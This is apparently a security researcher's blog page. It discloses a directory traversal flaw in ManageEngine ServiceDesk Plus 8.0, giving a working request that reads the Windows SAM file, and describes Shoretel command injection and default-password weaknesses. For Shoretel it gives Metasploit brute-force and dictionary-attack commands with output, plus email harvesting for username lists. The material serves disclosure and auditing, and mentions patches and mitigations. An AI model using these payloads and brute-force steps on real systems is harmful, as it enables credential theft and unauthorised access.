Vuln Details for ManageEngine ServiceDesk Plus 8.0 Released

I have been working with ManageEngine support team on getting the issue fixed and also informing the customers to patch their system with the latest service pack release version 8012 for over a month plus.

The vulnerability has been published in the below sites.

http://www.kb.cert.org/vuls/id/543310

http://www.exploit-db.com/exploits/17437/


http://packetstormsecurity.org/files/view/102536/mesdp-traversal.txt

Below are the details of the vulnerability.

Google Dork: ie: intitle:ManageEngine ServiceDesk Plus”
Author: Keith Lee (keith.lee2012@gmail.com
/* */
), @keith55,

http://milo2012.wordpress.com

Software Link: http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
Version: 8.0

Description:

Directory traversal vulnerabilities has been found in ManageEngine
ServiceDesk Plus 8.0 a web
based helpdesk system written in Java.

The vulnerability can be exploited to access local files by entering
special characters in variables used to create file paths. The attackers
use �../� sequences to move up to root directory, thus permitting
navigation through the file system.

Request:
GET http://%5Bwebserver
IP]:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\windows\repair\SAM

The issue is fixed with Service Pack Build 8012 found in the below link.

http://bit.ly/l7Nqgj

Found a zero day for major helpdesk system

Watch this space. I will publish this in the next couple of days. Most companies published their help desk on the Internet.

Hacking Shoretel Converged Conferencing Bridge

This metasploit module was made with the help of Josh @savant42 for #thotcon
The methodology of this hack comes entirely from Josh. This metasploit module is made by both of us..

Thumbs up to Josh for coming up with this.

This post is based on Josh’s (@savant42) talk at #thotcon

In Shoretel Converged Conferencing Bridge, Monitoring> System Commands page is vulnerable to command injection

Another problem is that the backup job runs as root

This can be found under Configuration > Manual Server Backup

Based on these 2 vulnerabilities, this metasploit module is born.

A demo video of the metasploit module can be found here

The metasploit module can be found here
http://pastebin.com/HszVqSNE

Below is a screenshot of the metasploit module in action

Exploiting Shoretel Server

Hacking Shoretel Voip Server

A demo has been uploaded to youtube 

The meterpreter script can be used to audit the user accounts on the Shoretel server. This is written for Shoreware Director Build 14.X

There are 2 ways of accessing shoretel voice services. One via the IP phone and another via soft client (Shoretel Call Manager client)
The default password for Shoretel Call Manager is ‘changeme’ and if a person has never login into Shoretel Cal Manager client before, he/she will not be able to change the password.
What are the complications if you have never change the password for your soft client login?
That means that an intruder will be able to login into your extension using the default password ‘changeme’ and

1. Access Call Logs
2. Make Calls
3. Access Your Voice Mails
4. Eavesdrop on an Extension via Intercom ?
5. Impersonate as another user and send malicious links to another users via the IM feature.

Mitigation Methods

Up to now, I do not know of any options in Shoreware Director to change the default call manager password other than manually editing each account and changing the password.
Enabling AD authentication might be another viable option.

You can download my meterpreter script from
http://code.google.com/p/shoretel-brute/
to audit the accounts on your servers which are using the default password.

Bruteforce a user account using default paswords

msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS 192.168.1.6
msf > set USERNAME test1
msf > set TEST_OPTION 1
msf > run

[*] Shoreware Director Web Console – Testing Default Passwords for User Accounts
[*] 192.168.1.6:5440 – Trying username:’user1′ password:’changeme
‘[-] 192.168.1.6:5440 – Successful login ‘user1′ : ‘changeme’
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Bruteforce using password list (Dictionary Attack)
Since the shoretel system have no restrictions on the complexity of the passwords that the users can set for their soft client login and the absence of account lockout policies (for non AD authentication), it is possible to brute force an account.

msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS 192.168.1.6
msf > set TEST_OPTION 2
msf > set USERNAME user1
msf > run

[*] 192.168.1.6:5440 – Trying username:’user1′ password:’1234′
[-] 192.168.1.6:5440 – Failed to login as ‘user1′ using password ’1234
‘[*] 192.168.1.6:5440 – Trying username:’user1′ password:’12345′
[-] 192.168.1.6:5440 – Successful login ‘user1′ : ’12345′
‘[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed

Check which user accounts using default passwords

If you already have access to the target’s computer, you can use the getOAB script I wrote to extract all email addresses from the Outlook Offline Address Book to be used for this test.
Check this blog post for more information
http://milo2012.wordpress.com/2011/03/14/new-programmeterpreter-script-getoab-parse-offline-addres-book/


msf > use auxiliary/gather/search_email_collector
msf > set DOMAIN domain.com
msf > set OUTFILE “c:/Program Files/Rapid7/framework/msf3/data/wordlists/shoretel_users.txt”
msf > run

Edit shoretel_users.txt and make sure that a username is in each line

msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS 192.168.1.6
msf > set BRUTEFORCE_SINGLE false
msf > set TEST_OPTION 1
msf > run

[*] 192.168.1.6:5440 – Trying username:’user1′ password:’changeme’
[-] 192.168.1.6:5440 – Invalid Username ‘user1
‘[*] 192.168.1.6:5440 – Trying username:’user2′ password:’changeme
‘[-] 192.168.1.6:5440 – Successful login ‘user2′ : ‘changeme’
‘[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Use Dictionary Attacks Against User Accounts
msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS 192.168.1.6
msf > set BRUTEFORCE_SINGLE false
msf > set TEST_OPTION 2
msf > set PASS_FILE “C:/Program Files/Rapid7/framework/msf3/data/wordlists/dict.txt”
msf > run